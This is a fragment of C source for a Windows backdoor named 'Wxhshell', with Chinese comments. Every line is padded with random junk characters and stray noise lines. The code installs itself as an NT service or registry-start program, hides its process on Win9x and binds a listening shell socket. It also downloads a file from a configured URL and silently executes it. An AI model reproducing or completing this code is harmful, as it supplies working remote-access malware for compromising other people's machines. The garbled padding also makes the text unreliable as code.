VOC$Kqg;
PROCNTQSIP NtQueryInformationProcess; PSv 5tQhm
(;=|2N>7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 94O\M
RQ*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z,AY<[/C
lO|LvJyx
HANDLE hProcess; y+Nw>\|S
PROCESS_BASIC_INFORMATION pbi; Q}^Ip7T
1p5'.~J+Q
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \:F$7 *Ne
if(NULL == hInst ) return 0; fe<7D\Sp@
uv-O`)
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4$, W\d
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (X^,.qy
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LN(\B:wAY
W4av?H
if (!NtQueryInformationProcess) return 0; FZ%h7Oe
gnzg(Y]5w
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PX?%}~
v
if(!hProcess) return 0; 9;I%Dv
CAvi P61T
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rs{8vV
LEjq<t1&
CloseHandle(hProcess); uWClT):
JFc,f
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (!8b$)k
if(hProcess==NULL) return 0; l'Za"TL:
jmgkY)rb R
HMODULE hMod; )c*xKij
char procName[255]; qT$ IV\;_
unsigned long cbNeeded; yogL8V-^4
*w.":\P]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,]ySBAO
\"RCJadK
CloseHandle(hProcess); XXX y*/P
l d#x'/
if(strstr(procName,"services")) return 1; // 以服务启动 &-o5lrq
lb9?Uc@
return 0; // 注册表启动 #J3}H
} irm4lb5
QjXJo$I6
// 主模块 *k#"@
int StartWxhshell(LPSTR lpCmdLine) $Bncdf
{ z.SKawm6T
SOCKET wsl; *-fd$l.
BOOL val=TRUE; a+J>
int port=0; 6Q>:vQ+E
struct sockaddr_in door; oV['%Z'
fQ1j@{Xa
if(wscfg.ws_autoins) Install(); R=a4zVQ
6^J[SQ6P
port=atoi(lpCmdLine); ;{H Dz$
0U/[hG"DKN
if(port<=0) port=wscfg.ws_port; KyT=:f
V
Q5dqn"?
WSADATA data; P-[})Z=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !pRu?5
?[bE/Ya+S
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2V%z=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &d6ud|
door.sin_family = AF_INET; c\>I0HH;!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z2g<"M
door.sin_port = htons(port); stfniV
V&ETt.91Ft
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u"oO._a(
closesocket(wsl); e(^I.`9z
return 1; MC,Qv9m
} u/|@iWK:
b'SP,}s5"
if(listen(wsl,2) == INVALID_SOCKET) { Kv1~,j6
closesocket(wsl); k ?6d\Q
return 1; "XV@OjrE
} ~.G$0IJY
Wxhshell(wsl); ^{IZpT3
WSACleanup(); ;u(*&vRqr^
T?[;ej:
return 0; vOCaru?~h
S]%,g%6i
} Bca$%3M
@}Ry7H0O
// 以NT服务方式启动
? .SiT5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]D5Maid+
{ Md>C!c
DWORD status = 0; yc9!JJMkH
DWORD specificError = 0xfffffff; vf>d{F^rv
Bi;a~qE
serviceStatus.dwServiceType = SERVICE_WIN32; \$4z@`n Y
serviceStatus.dwCurrentState = SERVICE_START_PENDING; #l&*&R~>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 03|nP$g
serviceStatus.dwWin32ExitCode = 0; 1; kMbl]
serviceStatus.dwServiceSpecificExitCode = 0; OW=3t#"7Kp
serviceStatus.dwCheckPoint = 0; g8'8"9:xC
serviceStatus.dwWaitHint = 0; mh[,E8'd
`{K-eHlrM9
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mT@Gf>}/A
if (hServiceStatusHandle==0) return; 9&zR
i
`EMGrw_
status = GetLastError(); \fC;b"j
if (status!=NO_ERROR) =,ax"C?pR
{ u=s,bt,"5
serviceStatus.dwCurrentState = SERVICE_STOPPED; r6Vw!^]8u8
serviceStatus.dwCheckPoint = 0; $ eL-fg
serviceStatus.dwWaitHint = 0; 1TA!9cz0Z
serviceStatus.dwWin32ExitCode = status; [R8BcO(
serviceStatus.dwServiceSpecificExitCode = specificError; r9bAbE
bI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C_ d|2C6
return; aw lq/
} (>u1O V
ND?"1/s
serviceStatus.dwCurrentState = SERVICE_RUNNING; E$:2AK{*
serviceStatus.dwCheckPoint = 0; 6A5.n?B{
serviceStatus.dwWaitHint = 0; Rl0"9D87z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %YF
/=l
} {_.(,Z{
\6APU7S
// 处理NT服务事件,比如:启动、停止 WhH60/`
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5"3`ss<m
{ Glw|*{$
switch(fdwControl) *]<= 04v]R
{ BHgs,
case SERVICE_CONTROL_STOP: N#-.[9!
serviceStatus.dwWin32ExitCode = 0; Ufi#y<dP
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,-EN{ed
serviceStatus.dwCheckPoint = 0; Z|UVH
serviceStatus.dwWaitHint = 0; >m%TUQ#%
{ Zp_j\B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RaTNA W)v>
} RWM~7^JA
return; yVn%Bz'
[
case SERVICE_CONTROL_PAUSE: 5 z3WRg
serviceStatus.dwCurrentState = SERVICE_PAUSED; 3HP
{
a
break; _a"|
:kX
case SERVICE_CONTROL_CONTINUE: 6K8v:yYPa
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6?US<<MQ
break; mP15PZ
case SERVICE_CONTROL_INTERROGATE: $(0<T<\
break; \,p?pL<'
}; )q4nyT>M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G='`*_$
} .^F&6'h1H
e'G3\h}#
// 标准应用程序主函数 F:<+}{Av
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >#mKM%T2MJ
{ :$yOic}y
MU] F'6V
// 获取操作系统版本 OraT$lV)_
OsIsNt=GetOsVer(); N@k'
s
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0]DX KI
x2I|iA =
// 从命令行安装 =M@)qy
if(strpbrk(lpCmdLine,"iI")) Install(); \J?&XaO=
9%ct
// 下载执行文件 m^ar:mK@
if(wscfg.ws_downexe) { q2*)e/}H
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]!P6Z?
WinExec(wscfg.ws_filenam,SW_HIDE); Qz{Vl>"
} BSSehe*
.uX(-8n ~
if(!OsIsNt) { ~v/`
`s
// 如果时win9x,隐藏进程并且设置为注册表启动 ]CS
N7Q+l
HideProc(); d@JavcR
StartWxhshell(lpCmdLine); zN+jn
} $`0^E#Nl
else FChW`b&S
if(StartFromService()) u\xrC\Ka
// 以服务方式启动 G5 )"%G.
StartServiceCtrlDispatcher(DispatchTable); c??m9=OX1
else Jq>5:"jZ0
// 普通方式启动 fIx|0,D&7L
StartWxhshell(lpCmdLine); h;}
fdk
VOATza`
return 0; ]NWcd~"b!Z
} at*DYZBjDB
+dq2}gM
wp~KrUlR
T72Z<h|<
=========================================== yl' IL#n]r
5c%Fb:BW=
pG*W>F
z:dW 'U?1
,e`n2)
X&49C:jN
" id`9,IJx
v)K|{x
#include <stdio.h> #gf0*:p
#include <string.h> oM#+Z
qP
#include <windows.h> =-P<